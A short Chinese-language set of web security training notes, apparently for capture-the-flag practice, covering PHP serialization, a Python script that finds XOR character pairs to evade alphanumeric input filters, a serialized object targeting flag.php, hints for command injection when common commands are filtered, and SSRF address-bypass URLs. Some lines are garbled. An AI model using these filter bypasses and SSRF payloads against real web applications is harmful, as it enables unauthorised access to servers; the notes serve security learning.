web 培训的 知识点

一.关于序列化和反序列化的初步理解

serialize() 这个函数是将传入的东西进行序列化;

unserialize() 这个函数是将传入的东西进行反序列化;

 

传值的时候当A-Z a-z 0-9 _ 这些字符被过滤的时候,用其他的字符进行python异或的代码,用俩字符异或进行读取相应的文件。

#encoding=utf-8

import re

word=''

re_search="[0-9a-zA-Z_]"            #正则匹配不要的

flag="get"                           # 需要亦或出来的字符串 //这里输入你想改的字符,比如getFlag啥的

 

for i in range(32,126):

    # print(chr(i))

    if re.search(re_search,chr(i))==None:

        # print(chr(i))

        word+=chr(i)

 

print("可用字符串有:",word)

 

for i in word:

    for j in word:

        if chr(ord(i)^ord(j)) in flag:

            print((i),(j),chr(ord(i)^ord(j)))

 

输出的字符随便用,只要记得在俩字符间加  ^  符号。

 

一些盲注,然后通过ls的方式爆当前目录的文件

爆当前目录的文件

<?php

Class  Test

{

    public $key='flag.php';

}

$b= new Test();

$b->key = 'flag.php';

echo serialize($b); //先序列化一遍

echo md5('O:4:"Test":1:{s:3:"key";s:8:"flag.php";}'); //代码序列化之后用md5加密,然后hash传值

?>

 

最后访问,去爆flag.php的内容,一般有 cat 这个函数直接爆,

有时候 ls不会爆所有文件

 在注入的时候 要用 ground_cat

 

 关于linux的指令

当大部分常用的指令被过滤的时候,可以去http://www.runoob.com/linux/linux-command-manual.html?tdsourcetag=s_pctim_aiomsg寻找还没过滤的指令,然后去构建指令。

 

SSRF

xip.io

url=http:/url=http://www.10.10.10.10.xip.io 

 

使用@

http://A.com@10.10.10.10

http://A.com:B@10.10.10.10

展开阅读全文

没有更多推荐了,返回首页